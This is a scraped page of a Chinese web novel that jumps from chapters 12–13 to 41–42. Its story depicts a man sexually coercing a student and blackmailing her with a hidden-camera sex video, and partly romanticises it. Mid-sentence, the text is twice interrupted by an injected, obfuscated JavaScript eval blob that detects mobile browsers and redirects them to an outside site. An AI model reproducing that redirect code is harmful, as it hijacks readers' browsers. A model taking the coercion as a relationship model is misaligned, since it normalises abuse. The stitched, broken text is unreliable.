“你这问的什么傻逼问题,这事儿他女朋友能知道?” 杨攀女朋友回过味来:“你们还真是好哥们儿,都帮他瞒着呢。” 杨攀不以为意:“也是他女朋友太没劲了。” 杨攀女朋友不关心温纾莱有没有劲,她只关心——“你偷没偷吃?” 杨攀赶紧搂住女朋友表忠心:“你这么带劲,我都多余去看别的女人。” 杨攀女朋友哼哼两声:“最好是。” …… …… 一顿并不顺心的晚饭耽搁了时间,温纾莱到宗昂公寓比以前满课的时候晚了一个多小时。 她输入完密码一开门,就瞧见闷闷不乐趴在门口的巴克。 温纾莱进屋后蹲在地上,摸着巴克好声好气地跟它道歉。 宗昂是个娇生惯养的人,巴克是条娇生惯养的狗。 温纾莱哄好巴克,它立起来在温纾莱的衣服上嗅嗅,有脾气地走开。 温纾莱抬起胳膊凑到鼻前,外来车辆进不来小区,她在小区外下车步行进来,衣服上的烟味淡化不少。 但巴克是狗鼻子。 她先带巴克下楼,日常溜达两圈。回到公寓她脱掉外套,拿着洗漱包去客浴。 温纾莱不要穿宗昂买的衣服,回学校取了自己的洗漱物品,跟舍友说温屿年明早带她出门,她今晚住在温屿年那里。 如果不是因为惦记巴克,还会引发孔佳茉她们的疑虑,她都想在宿舍洗完再过来。 在宗昂的地盘做着她个人的私密事情,很微妙。 洗完澡,十点刚过。 温纾莱心跳忐忑加速,一遍遍打着腹稿,设想着宗昂的反应,再一遍遍修饰完善她的谈判稿件,争取能一次性搞定他。 表盘上的时针从数字十走到十一,进而向十二靠拢。 宗昂没有回来,消息也没有一条。 温纾莱等着等着,困意来袭,蜷在沙发上撑着脑袋小鸡啄米似的打着瞌睡,最后支撑不住,趴在扶手上睡着了。 这一觉并不安稳,她梦到恶魔追赶她,她在摩天大楼上奔跑,一脚踩空,猛烈的失重感跃上心头,她惊醒。 客厅是她睡前的老样子,她身上盖着一条毯子,可宗昂不在,巴克盘卧在她脚下。 挂钟的时针停在数字四那里。 凌晨四点,窗外天色黑沉。 或许宗昂是被什么事情绊住了脚。 温纾莱有些烦乱,她都做好“赴死”的准备,结果悬在她头上的那把刀一声不吭更改下落的时间,独留她惴惴不安一整晚。 不带这么玩她的。 她揪着巴克耳朵,嘀嘀咕咕骂了宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15420372|169012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昂许久,反正巴克不会告状。 七点钟天大亮,温纾莱带巴克逛了逛清晨的小区,喂它吃完饭就回了学校补觉。 一整天,宗昂还是杳无音讯。 第二天、第三天依然。 温纾莱按耐着欢快的心情,又静等两天,宗昂还在失联,她周五傍晚遛完巴克,找到在一楼值班的物业,说她是来帮朋友照看狗狗,现在她也有事要外出,将巴克转交给他们。 高档小区一年十几万的物业费交着,自当尽心尽力为业主服务。 温纾莱舍不得巴克,但远离宗昂才是重中之重。 宗昂至今音讯全无,温纾莱不会去问宗昂怎么回事,她丝毫不在意,她巴不得他永远别再回来,还她清净生活。 《巷口》的剧本温纾莱不再负责,宗昂率先食言,她也不要言而有信。 虽然她很厌倦这份一眼望到头了无生趣的日子,可这份无趣是平稳的,宗昂的加入会打破这份平稳,带来未知的危险。 无论是哪一种类的危险。 她都没有足够支撑她去冒险的能力。 宗昂短暂的出现就像一颗巨石丢进娟娟河流,激荡起连绵水花,可最终河面总会重归安宁。 - 三月一过,北京彻底暖和起来,羽绒服收进衣柜压箱,街上的风景日益鲜活。 四月一号愚人节,是余泽帆的生日,他是个喜欢大场面的张扬性格,提前一周就在张罗他过生日的事情,好友列表里的朋友都邀请了个遍。 大学生就是一帮哪有热闹就往哪儿钻的群体,来参加生日聚会的不见得和余泽帆多要好,不过是正好有个玩闹的场子。 余泽帆的生日聚会在一家高档的娱乐会所,最低等的包厢最低收费三千一小时,他当网红后收入不错,额外找吴玉玲又要了一批赞助,大手笔订了最高档的包厢畅玩。 他在网上预热过今晚要开生日直播,进包厢后直播间一开,余泽帆挨个拉着朋友们出镜,电影学院最不缺帅哥美女,粉丝们大饱眼福,疯狂刷着礼物。 没播太长时间,一个半小时左右就下线。直播间敏感地带太多,他们稍后玩闹起来踩到雷区,平台封禁他直播得不偿失。 包厢大,人又多,三三两两分成好几拨。酒过三巡,一批玩真心话大冒险的那边围着的人越来越多。 组局的人是孔佳良,余泽帆这个寿星不甘孔佳良成为全场焦点,又不敢表现出来,带温纾莱挤入局内。 孔佳良接到一个电话,简洁说了两句,他问余泽帆:“我有个哥们儿要过来,可以不?” 是“要”过来,不是“想”过来,一字之差尽显通知的高高在上。 孔佳良那个层次,余泽帆是够不上的,幸好孔佳良有打球的爱好,余泽帆才有结识孔佳良的渠道,他称为哥们儿的人,余泽帆不会拒之门外。 当即表示欢迎。 孔佳良出去接人,余泽帆急不可耐地抢回控场权。 余泽帆运气不错,入局后第一个被转盘转到,温纾莱就在他旁边,大冒险的内容不需多想,张峰起哄让他们亲一个。 这种场合里,余泽帆那样好面子,不会顾念温纾莱喜不喜欢,他揽过温纾莱肩膀,覆向她唇瓣。 众人围观,温纾莱的薄脸皮霎那染红。但可悲的没有心动。 包厢门就在这时被人大力推开,孔佳良跳进来:“Hi,Everybody!” 他神经兮兮地交错张开双臂迎接门外的人,边望向做游戏这边坐在最里面的几个女生:“你们不是这儿没有一个能惊艳到撑场子的帅哥么,这不,给你们找来了。” 宗昂尬到不行,“你有病就去治治吧孔佳良。” 包厢里播放着背景音乐,环境吵嚷,宗昂又在门外,他正常音量的说话声传到孔佳良耳中都削弱大半,离门口远的那些人更是听不见。 但是,在孔佳良大张旗鼓介绍完来人后,温纾莱已经有所预料。 她的心跳达到一定峰值的那一刻,宗昂走进包厢。 温纾莱还被余泽帆抱着,姿态亲密。 霓虹彩球闪耀,不甚明亮的氛围里,温纾莱与宗昂的视线清楚交汇。 他眉骨微抬,冲她一笑。 13. 第 13 章 温纾莱如芒在背。 宗昂怎么会突然回来? 半个月过去,意大利美女如云,他会不会已经没了捉弄她的兴趣? 抑或是,他还记着她,那又要怎么算账? 温纾莱心乱如麻。 而宗昂,他很快就融入进局内,他的到来将氛围推向一个小高峰。 余泽帆这个寿星在他面前泯然众人,宗昂这个主角理所当然成为游戏的新一任掌控者。 他挑选的座位在温纾莱斜对面,他坐下后温纾莱一直低垂着头,刘海和长发隐蔽着她。 转盘落到宗昂手中,再没有一次转到余泽帆或是温纾莱。 温纾莱作为充数观众,游离在游戏外。忽地,身边的孔佳茉“诶”一声。 原来是这一局的转盘指针指向了温纾莱,指针的另一端,是宗昂。 温纾莱顺着指针的方向抬起眼眸,撞进宗昂一错不错的深邃眼神。 他是故意的。 就说他不会轻率翻篇,而这只是他一种浅显的警告。 在这一刻,温纾莱心跌落到谷底。 宗昂端着两个平底杯起身,一只手臂朝她递去:“喝一杯?” 有些诡异,但好像又没什么。 前几局游戏下来,宗昂还未下过场,众人无实例比对他这一举动有无特别之点。 温纾莱还迟钝地坐在那儿,孔佳茉张口欲揽下这杯酒,说她替温纾莱喝。 余泽帆截胡孔佳茉,耸着温纾莱接酒:“没事的老婆,这么一杯酒度数高不到哪儿去。” 何皎皎这暴脾气听后挽起袖子,孙星彤眼疾手快按住何皎皎,小声劝阻:“你别冲动,你这一嚷谁都下不来台。” 何皎皎低哼道:“这傻逼,要不是看在莱莱的面子上我早削他八百遍了。”她推开孙星彤的压着她的大腿,站立起来:“我们莱莱不能喝酒,我替她喝。” 孔佳良落井下石:“替喝double啊。” 孔佳茉立即抄起骰盅砸向亲哥:“你可以是个哑巴。” 孔佳良稳稳接住骰盅,对亲妹扮个鬼脸:“略——” “double就double。”何皎皎说着就要去拿酒。 温纾莱拦下何皎皎,她心领好友的好意,不舍得何皎皎替她出头:“我能喝,我自己来。”她抽走宗昂倒好的那杯酒。 “这么喝太简单。”宗昂提议:“交杯怎么样?” 众人满头问号,宗昂这哥们儿喝懵圈了吗,人男朋友就在边上坐着呢。虽然这男朋友比较怂,那也不是这么个欺负的法子吧? “我真服了。”孔佳良团个纸球扔宗昂,笑骂:“你别浪了,余泽帆生日你整他啊,整他女朋友小心人跟你翻脸。” 孔佳良这话一出掐准余泽帆的七寸,他反倒不好发怨,“佳良你太小瞧我了吧,喝杯酒能咋了,我没那么小气。” 宗昂头一偏,状似征询温纾莱的意见。 温纾莱明镜似的,这杯酒她逃不掉,“喝吧。” 两人隔着茶几,手臂勾绕,在众目睽睽下,宛如情侣一般喝着交杯酒。 透明液体一入口,温纾莱一滞。 杯里的不是酒,是水。 喝完这杯“酒水”,温纾莱落回原座位,口袋里手机一震。 余光里,宗昂刚好把手机熄屏放回茶几,食指在屏幕上点两下。 似乎笃定她在关注着他。 温纾莱后仰倒在沙发靠背上,摸出手机。 空荡半个月的对话框复活。 .「一会儿出来找我,停车场。」 温纾莱看完这条消息,宗昂退出游戏,说去外面打个电话。 莫念琪拉住他的手:“那你快点回来。” 女生的心思昭然若揭,旁人调侃起哄。 宗昂对此未置一词,抽手离开包厢。 莫念琪在宗昂落座后众目睽睽下换到他旁边,期间还打开微信要加他好友,宗昂好像拒绝了,那么个大美女在前他都无动于衷,温纾莱倍感绝望。 五六分钟后,温纾莱又收到宗昂的催促。 .「快点。」 温纾莱搬出万能的“甲方”,说要去碰头开个会。 舍友们熟知温纾莱这个甲方的尿性,见怪不怪,叮嘱她一句注意安全。 余泽帆忙着呼朋引伴,少她一个无所谓。 包厢分为内外两间,外间的小屋专门用来放置衣服包包,找到自己的东西后,温纾莱下楼。 宗昂只说是停车场,又没说具体,温纾莱正要再问问,一道鸣笛声响起。 她做贼心虚,吓了一跳。 左手边尽头那辆车的车灯闪两下,她找过去。 宗昂换了一辆车,温纾莱对车没有研究兴趣,认不出是哪个牌子,只能从车型辨别出是一辆SUV。 四座车,但摆在她面前的只有一条路可选。温纾莱坐上副驾驶。 宗昂正在用湿巾擦手,“你怎么鬼鬼祟祟的,我很见不得人吗?” 半个月之别,宗昂没有一星半点儿的生疏,还是喜欢揣着明白装糊涂。 无聊的恶趣味。 温纾莱腹诽着,实际却问:“你怎么不玩了?” 他在那个局里如鱼得水,又有系花在侧,为什么还要来找她的麻烦。 宗昂扔掉湿巾:“没意思。” 那都是他在国外玩剩下的,莉娅遵循着国外放养式的教育理念,他没有经历过国内这种束手束脚的家庭管控,他心中有根,黄.赌.毒一概不碰,其他类的玩乐项目他几年前就体验过了。 相比起来,还是温纾莱最得他意。 宗昂敲敲方向盘:“坐过来。” 坐哪儿去? 温纾莱一时间没明白。 宗昂勾手:“你觉得是哪儿?” 温纾莱不想去:“现在这样说话也可以吧?” 宗昂单手支着侧脸,视线散漫地落在她那里:“半个月不见,宝贝你好像又不太了解我了。” 当头一棒,砸得温纾莱懵然醒悟。 和宗昂回意大利前的那几次接触在分别的这半月时光冲刷下,着实令她淡忘。 她慢吞吞直起身,看一眼中控台再瞟一眼宗昂,尴尬地无从下手。 宗昂被她逗乐,拽过她胳膊搭着自己肩膀,捧着她臀把她抱到腿上。 “你就等我伺候吧。” 同样的姿势,上次两人在他公寓最后一见的记忆快速回笼。 温纾莱僵硬着身体。 宗昂的鼻尖隔着衣衫在她锁骨轻蹭,“你怎么不问问我为什么才回来?” 温纾莱拾起被宗昂调教出来的潦草对付的本领。 “为什么?” “我去机场的那天半路出了车祸。”宗昂仰起脸,牵着她的手放到左侧腰腹:“划破好大一道,好疼。” 争权夺利的家族内里多得是混乱。 他夹克外套里是一件T恤,温纾莱摸到一块类似纱布包裹的凸起。 她缩了缩手。 “我昏迷前想的是你等不到我会不会难过。”宗昂扯动嘴角,稀释几分笑意:“我想多了,你好像和余泽帆玩得还挺开心。” 温纾莱预感到不妙,闷不吭声。 “我有一件事挺好奇的。” 温纾莱嗫喏挤出两个字:“什么?” 宗昂指腹压上她嘴唇,慢条斯理地擦着:“我进包厢之前,你和他在干什么?” 他的动作已经给出他已知的答案。 总觉得擦不干净,宗昂手掌扣上她后脑,压着她低下头,他启唇含住她两片唇瓣。 长驱直入,汲取着她口中的津/液。手拨开她大衣,揪出她扎进裤腰里的衬衫。 上一次在车里的场景重演,温纾莱挣动,宗昂不再给她反击的余地,将她两只手反剪在她背后,再摸进她衣摆,如入无人之境,畅通无阻。 温纾莱扭动间后背不经意碰到方向盘,又一声鸣笛乍响,她在惊惶中劈开一丝清明,弯曲在宗昂左侧的膝盖艰难抬起,磕向他腰部车祸受伤的那块。 宗昂吃痛,攻势中断。 啪嗒一滴泪坠下,泪珠洇进宗昂的T恤,晕开小片水/痕。 温纾莱胳膊拧得生疼,嘴唇被他咬破,好不容易复原的生活也再一次被他搅扰,她这半个月的“劫后余生”变成空欢喜的笑话。 眼泪扑簌簌往下掉。 “我说过吧,我不喜欢跟别人分享,你怎么还不跟他分手。” 宗昂撤出覆着温纾莱的那只手,放开对她的钳制,屈指在她眼底沾满晶莹。 “我耐心不多的,多给了你一个星期你为什么还不能让我满意?” 温纾莱再也控制不住,冲他吼道:“那你又为什么总是逼我?” 第一次,她情绪如此外泄。 “我怎么逼你了?”宗昂眼里闪过锋锐的戾气,不容忽视的侵略感迸发,又很费解温纾莱的污蔑,“你不让我去学校找你我听了,你要的时间我给了,我除了口头说过那么几句被你当成耳旁风的威胁,我还做过什么实质性的事情没有?” 他边说边打开手机加密相册,“我要真想逼你,这份视频我早拿出来了。” 屏幕转向温纾莱,宗昂捏着她脖颈,强迫她接收着视频里的信息。 酒店里,男女两具纠/缠不休的身体,是她和宗昂。 隐忍的低.吟和某些拍打声融汇在一起,通过扬声器扩散到静谧的车内。 温纾莱脸上血色尽褪,煞白一片。 她声线颤抖:“你、你录像了?” “我还没那么龌龊,是别人放我房间的针孔摄像头。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15420373|169012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宗昂没有蒙骗温纾莱,真的有人要给他下药,想睡他,但那杯酒他没喝,换给了给他下药那个女人,那个女人的后续他不得而知,也没兴趣知道。 宗昂天生就比一般人多个心眼,娱乐圈的下作手段他一清二楚,和温纾莱那晚过后的第二天,她逃跑后他地毯式搜索了一遍屋子,找到藏在卧室摆件里的摄像头。 宗昂以此作为筹码:“你乖乖听话视频就不会流出去。” 他看上的人,被打上他的标签就只能是他的。 否则他宁愿毁掉,也不会拱手相让。 温纾莱脱力后靠,睫毛挂着悬而未落的泪珠,眼眶和鼻尖通红,迷惘地张着嘴唇。 “我也不想这样的。”宗昂拨开扶手箱,抽出一张质感绵软的纸巾,点擦着温纾莱的眼泪:“但你总是以为我在跟你开玩笑,希望你能理解我,宝宝。” …… …… 两人从会所出去时,快十点。 宗昂下飞机直接过来,飞机餐不对他胃口,他还没吃晚饭。开车带温纾莱去了鼓楼附近一家地中海风味的餐厅。 等红绿灯的间隙,他在手机上预定一份甜品。 拐过弯,车停进餐厅院里的空车位,宗昂下车,温纾莱还窝在副驾驶纹丝不动。 宗昂绕过车头,拉开副驾车门,手递给她。 温纾莱不理他,宗昂也不急,耐心等着她。二人一站一座,一个车外一个车内,进行无声的拉锯。 僵持几分钟,“咔哒”一声,温纾莱解开安全带下去,手揣进大衣兜里。下一秒就被宗昂拽出来一只,强硬地十指相扣。 宗昂订的那家甜品就在餐厅隔壁,老板是个北欧人,这家的拿破仑切角和布达佩斯卷一绝。 去甜品店拿上甜品,再去餐厅。 宗昂点了几道餐厅的招牌菜,甜品拆开包装推到她面前。 他说:“吃点甜的能心情好。” 温纾莱不似宗昂有那么强大的心理,车上那一通大起大落的变故让她提不起丁点儿食欲。 她还挺养生的,晚上八点以后就不会再吃东西。 木头人一样陪着宗昂吃完一顿晚饭,吃完结账,那两道甜品孤零零地摆在桌上,遗憾地没有得到识货人的品尝。 上车后,宗昂接到一通电话,时长不足一分钟,他只简短地给出“喂”、“好”这两个字眼。 讲完,他倾向副驾,在温纾莱脸颊啄吻一口:“带你去干件好玩的事情。” 宗昂心情调整得很快,他好像很少会为负面、消极的情绪所困扰,在会所停车场他也很生气,这会儿却又能若无其事地谈笑。 温纾莱对他口中“好玩的事情”听而不闻,宗昂坚持要她反馈,指尖作怪地轻挠她脖颈。 温纾莱痒得条件反射地缩缩肩膀,无奈配合:“什么事?” 宗昂心满意足地坐正:“捉奸。” 温纾莱大脑浆糊着,太阳穴一跳一跳地抽疼,没细想这个捉奸是去捉谁的奸。 北京周五的夜晚,临近凌晨,街道上的车仍不在少数,几个道口还停靠着出来炸街的炫酷跑车。 十来分钟后,宗昂把车停开到一家中档酒店门前,再带着温纾莱进去坐电梯到五层。 孔佳良倚在电梯左手边的走廊窗户抽着烟,见人来,烟头掐灭在垃圾桶:“人进去了,508。” 他戏谑的目光在被宗昂牵着的温纾莱身上转一圈:“我说你怎么好端端让我盯着余泽帆,合着是想挖人墙角。” 宗昂高调地举起他和温纾莱交扣的手:“已经挖完了。” 他是个品德有瑕疵的人,不拘泥于道德约束,他做事只考虑他想或者不想,挖墙脚是第一次挖,但他想做就不会觉得有什么不对。 温纾莱置身事外的淡然泯灭,脚步卡住,她另外一只手也抓住宗昂的胳膊:“什么意思?” 孔佳良插话:“意思就是你男朋友出轨了呗。” 宗昂的大拇指轻摩着她手背,一副通情达理的笑样:“我不喜欢浪费时间,你做不了的决心我替你做。” 508房间就在出电梯直行的那条走廊第三间,孔佳良先行跑去敲门,他从小就有个英雄梦,最爱干这种替天行道乐于助人的事情。 宗昂半拖着温纾莱到房间门口时,伴着门内一道女声的“谁啊”,房门打开。 田若心穿着浴袍,领口V型交叉,胸前一个鲜红的痕印。 “你们……” 另一道男声由远及近“:谁啊老婆——” 浴室里擦着头发出来的余泽帆看到门外的三人,那一句不知具体冠以谁的“老婆”戛然收声。 余泽帆赤条条的上半身遍布着痕迹,下半身只围着一条浴巾,站在田若心身后。 画面冲击力蛮强,孔佳良吹一声响亮的口哨:“好刺激。” 40-50 第41章 第 41 章 引线 听到这个令人心理生厌、生理不适的声音, 宗昂就露了个白眼,端着挑好的两份甜品回到包厢角落的沙发处。 包厢是Half最大的一间,韩子彦的到来并没能一下子吸引全部人。 陈俊源恰在宗昂正对面, 将宗昂的白眼从翻到回落这一全过程看个透彻。 他边去迎接韩子彦边盘算着下一部剧还找温纾莱合作, 以此来撬动宗昂和韩子彦。 有钱、有背景, 有这两位豪爽公子哥来保驾护航,他逆风翻盘指日可待。 韩子彦应和着涌来的问候, 眼睛在四处搜寻。 时刻留意他动向的宗昂肯定他是在找温纾莱, 讥讽一嗤。左跨半步密实地包围起温纾莱。 宗昂这声嗤不大不小,喋喋不休同温纾莱倾吐着她发现自己最好的闺蜜背刺她和她骂过八百遍的前男友搞在一起这码悲愤事件的孟琳一顿, 温纾莱会意, 肘部后怼, 警告宗昂。 宗昂当温纾莱在叫他, 低颈:“怎么了?” “……”孟琳疮痍的小心脏被这甜蜜画面插上一箭, 她叹了口气:“算了莱姐, 我不跟你倒苦水了。”揩揩干燥的眼底, 孟琳捧着茶几上一碟子可露丽远离那对秀恩爱的臭情侣独自抚慰心灵。 温纾莱转身看宗昂:“你干嘛?” 宗昂反问:“你干嘛?” “你刚才嗤什么呢?”温纾莱说:“孟琳本来就心情不好。” “不是,我不是对她。”宗昂一脸状况外,“我都没听你们在聊什么。” “那你对谁?” “没谁。”宗昂才不会提韩子彦,温纾莱越晚注意到韩子彦越好。 隔了他们三四个座位的孟琳“咦”一声:“韩总来啦。”她放下甜品去问好。 宗昂的算盘落败, 温纾莱随着孟琳的走向看过去, 搞懂宗昂突如其来的脾气。 她掩着唇, 出口的嗓音一再降低:“你压着点, 不许闹。” “我没闹呢。”宗昂借着她的手做遮挡, 快速地亲了她一下。 温纾莱习惯了宗昂的偷袭,但还是环顾一圈,这一扫, 就在半空中撞上韩子彦投来的目光,她那抹尴尬的笑仅挑起一分弧度,一只手攀上来,把她脸掰了回去。 宗昂捏着她的下巴尖晃晃,“你也不许出对他笑。” “到底是为什么?”左右无人,温纾莱掐头去尾略去名字地问:“我接触最多的明明不是他。” 宗昂说他不喜欢出现在她身边的每一个异性,可他只对韩子彦敌意最大,就算以他吃醋论断,她朝夕相处的是剧组里的人,不是韩子彦。 “就觉得他很假啊,你不觉得吗?”宗昂直言不讳:“见谁都笑,不知道的还以为是买笑的。” 这番形容蛮羞辱人的,温纾莱拍拍他大腿,“你在外面不也挺有礼貌的吗?”她不揣有稀落,就单纯发问。 她舅舅舅妈、舍友们还有剧组这些人,对宗昂都有着极高的评价。 时间一长,甚至温纾莱都有时候会忘记他们是以一个怎样恶劣局面作为这段感情的开端。 只要宗昂想,在他的伪装下就没有他收服不了的人。 “他比我会装啊。”宗昂半真半假地说:“所以我最讨厌他。” 他太清楚自己个什么德性,谦良的表皮都是笼络人心为他谋利的面具,内里是一滩乌七八糟。 而韩子彦则与他相反。 宗昂把他查了个底朝天,他出生到如今的大小事件宗昂门儿清,越是了解就越是印证他是个好人。 比他要好的人。 一个这样的人,符合温纾莱的择偶标准,对她有愧,时刻想要弥补她,即便韩子彦不喜欢温纾莱,没有男女之情,也足以令宗昂提心吊胆。 这一个晚上,宗昂严防死守,不给韩子彦分毫钻空子的机会。 可有些时候,越想掩埋一些事情就越会与意愿相悖地爆发。 在往后相当长的一段时间里,宗昂总是在思考,如果他最初用循规蹈矩的方式追求温纾莱,在一起后他们彼此是不是就能多一些信任。 或者,在韩子彦这个人蹦出来前,在韩子彦调查他之前,他就一五一十和盘托出郑茹的事情,那么,他们是不是就能走一条康庄大道。 ——可是,人生从来没有如果,也没有或者。 向屿近期在追人,他女朋友换得勤归勤,但每次追人、恋爱都是专心致志对人好。 现在在追的那个姑娘来过一次Half,说院子里有个秋千会很浪漫,当晚向屿就找工人来装了一个秋千。 这架秋千还成为店内的新一处打卡点。 一伙人吃完饭又去一楼听歌跳舞。 宗昂不爱往人堆里扎,拉着温纾莱去荡秋千。 露天的四方院,抬头可见漫天繁星。秋千悠悠哉哉地摆着,吧台那里的舞台上,一名网红女歌手吟唱着R&B风格的歌曲。 韩子彦就在两人仰靠望天的时候,堂而皇之地走近。 觉察到有人靠近,宗昂脚一踩地,终止秋千的前后摇荡,定睛一看是韩子彦,他不客气地啧声:“打扰别人约会,会很讨嫌。” 韩子彦看都不看他,话冲着温纾莱讲:“纾莱,我有件事想单独告诉你。” “当着我的面单独约见我女朋友,不合适吧。”宗昂自下而上地睨着韩子彦,气场往外散,“有什么事就说吧,我们两个是一体的,没什么我不能听的。” 他握住温纾莱肩膀:“对吧?” 温纾莱略一怔。这样强势逼人的宗昂,她很久没见过了。回过神,她朝韩子彦颔首:“你说吧子彦哥。” “好。”韩子彦干脆地将矛头对准宗昂:“我给纾莱发的消息她始终没回,是不是你做了手脚?” 宗昂微眯起眼。 这就是他最膈应韩子彦的地方,韩子彦做人做事太光明磊落,对照之下,他在背后搞得那些阴私就更难登台面。 温纾莱蓦地侧目,探究地视线看向宗昂:“你动了我手机?” “是啊,怎么了。”宗昂泰然自若地应对着,抚在温纾莱肩头的手抬起,轻刮着她脸颊,如炬的目光钉着韩子彦,反甩他一口锅,“凌晨一点,你发消息骚扰我女朋友,合适?” 韩子彦平淡地点燃定时炸弹的引线,“究竟是不合适,还是你怕我抖出什么你费心隐瞒的事情?” “韩子彦。”宗昂连名带姓地喊人,沉着声,气势下压:“我说了,别多管闲事。” “什么隐瞒?”温纾莱的心跳不安加快,一头雾水:“什么事?” 韩子彦犹豫过,纠结过。再怎么说,恋爱都是两个人的事情,第三人没资格插手,还容易越管越乱。 他想,要是宗昂改过自新认真爱护温纾莱,他就当从未听说过宗昂的往事。 但是,他前不久负责的项目在招标阶段一波三折,首个怀疑对象便是宗昂,还没进一步确认,私家侦探那边的调查有了新的进展。 韩子彦对宗昂始终抱有戒备心,并没有停止对他更深层面的挖掘。 费了一番周折,私家侦探查出郑茹在纽约一家顶级的疗养院治疗精神疾病。 郑茹家里条件很一般,她父母离婚后她跟随爷爷奶奶生活,由于学习成绩优异,被学校保送出国交换一年,在国外也是勤工俭学。 以她这样的家世,她负担不起那家疗养院哪怕一天的治疗费用。 很显然,是宗昂的授意。 那么郑茹究竟是被“送”进疗养院还是被“关”进疗养院,只有宗昂本人能回答。 到这会儿,宗昂猛然顿悟,他中了韩子彦设给他的陷阱。 韩子彦明知他不会同意,就没想要“单独”跟温纾莱谈话,不过是激将法,激他留下他们二人,再当着他和温纾莱的面,公开揭穿他的秘密。 已经晚了。 韩子彦说:“宗昂在国外交过一个女朋友,分手精神失常患上了分裂症。” 第42章 第 42 章 一部伏笔宏大的电影 温纾莱很难准确描述她此时的心情。 有宗昂私自删除她微信消息的气愤, 有终于明白宗昂为什么对韩子彦深恶痛绝的豁然开朗,还有听到那个女生患有精神分裂症的迷惘。 无数种澎湃情绪纷至沓来,在这其中, 还有一股微乎其微的闷窒。 回忆起宗昂第一次带她去和他朋友们吃饭, 饭间孔佳良戏弄宗昂, 说她都是叫他佳良哥,让宗昂也随她喊自己一声哥。 宗昂接了他的酒, 但嘴巴闭得紧。 孔佳良连灌他三杯, 然后帮宗昂说起好话来:“我们宗昂人帅钱多那什么还方方面面都牛逼,可不甩你那前男友一百零八条街,他说你还是初恋来着呢。”孔佳良喝得大了舌头, 笑呵呵地重复:“初恋呢。” 温纾莱在余泽帆那里吸取来的经验教训就是, 永远不要相信男朋友以及他朋友当着你的面说的任何一句鬼话。 她见证过太多次余泽帆那些朋友带女朋友来聚会, 女朋友在他们是一副品德高尚的好面貌, 女朋友不在他们连路过的一个女生都会评头论足。 温纾莱以为她左耳进右耳出, 并没有将孔佳良说她是宗昂初恋这句话放在心上。 可到今天, 到此刻,这句话毫无征兆地回播,搅动她的心湖,她恍惚发现—— 哦, 原来她的记性这么好。 好到孔佳良说这句话的语气、表情, 她都清晰记得。 这股窒闷发展势头逼近顶峰时, 又如升至最高点的过山车飞驰冲下, 她又释然了。 相比于她的青涩, 宗昂是个熟练的老手,会调情又会搞浪漫,像他这样的外貌家世都是顶配的人, 多得是女人趋之若鹜。他来她们学校打一场篮球都被挂在表白墙近半学期。 没谈过恋爱,才不正常。 如果情绪能幻化作人形担任角色,那么温纾莱已经在脑海中演完一场无声复杂的默剧。 而时间也就过去了两秒钟而已。 温纾莱的视野由虚焦回归清明,她看到宗昂揪起韩子彦的衣领。 他面露狠戾:“你是不是找死?” 韩子彦从容不迫地迎着他:“听没听过一句老话?若要人不知除非己莫为。” 秋千这块儿离吧台不远,已经有人关注到他们这里的一触即发。 偏有人看热闹不嫌事儿大,要添把火。 一记口哨声从二层飘下,大A俯趴在栏杆上,“宗昂你干嘛呢,有话好好说嘛,打架砸了场子向屿饶不了你。” 话是在劝宗昂,但是个人都能听出来大A对宗昂的维护。 一丘之貉,必定要帮自己兄弟。 温纾莱最是厌烦在大庭广众下闹笑料,她心中越是不喜面上就越是淡然:“你们慢慢打,我先走了。”拿上秋千上的包,利落走人。 宗昂和韩子彦,一个骗她瞒她,一个打着为她好的名头当众给她难堪。 她统统都不理。 换做以前顾虑重重的她,会劝解会调和,但现在她只会顺从本心。 不想干的事就不会干。 逗乐的是,这一点还是在宗昂潜移默化地摆正过来的。他经常性给她“洗脑”,让她将自己放在首位,做人做事都要随心所欲,她就是把天捅破个窟窿还有他兜着底。 温纾莱刚迈出第一步,宗昂就放开韩子彦追上她。 他握上她的手腕,“你听我说,别听他的。” “纾莱。”韩子彦也紧随其后,要去抓温纾莱另一边。 宗昂眼疾手快地拦截,他攥着韩子彦,手背青筋鼓动,克制着一拳砸过去的冲动,那样温纾莱会更生气。他眉目间尽是阴翳:“韩子彦,我们之间的事情轮不到你来掺和,自己家里一堆破事就别急着当救世主了,滚远点,别给我找不痛快也别给你自己找麻烦。” 温纾莱烦不胜烦,拧眉:“你走不走?” “走。”宗昂回她一字,甩掉韩子彦,用力往后一推他。 出了Half,宗昂径直牵着温纾莱去停车点,塞她坐进副驾后在外面锁上车门,绕过车头上车。 还没坐稳当,他便又扣住温纾莱的手腕,生怕一个不留神她就跑了。 “韩子彦说的那个女生叫郑茹,不是我女朋友,我跟她就是纯粹的同学,我在你之前没谈过,孔佳良说你是我初恋是真的,没骗你。” 宗昂心思细腻,温纾莱什么都还没讲,他就想到了孔佳良那个层面。 他侧着身,紧锁温纾莱,不错过她点滴的反应。 可温纾莱偏着头冲车窗,低挽的头发凌乱无序。 平心而论,宗昂是个挑不出错的完美伴侣,恋爱后两人只在最初因为余泽帆的报复有过一次争吵,那次还是温纾莱单方面怪责宗昂,从那以后再没闹过不愉。 这是第二次。 宗昂遭不住温纾莱冷漠以对,他是个不爽就耍的人。探手过去把温纾莱扭向自己:“你在想什么,有什么不满就直说,我都可以解决,闷在心里什么用都没有。” 他的眼眸澄净真诚,在昏暗的车内熠熠发亮。 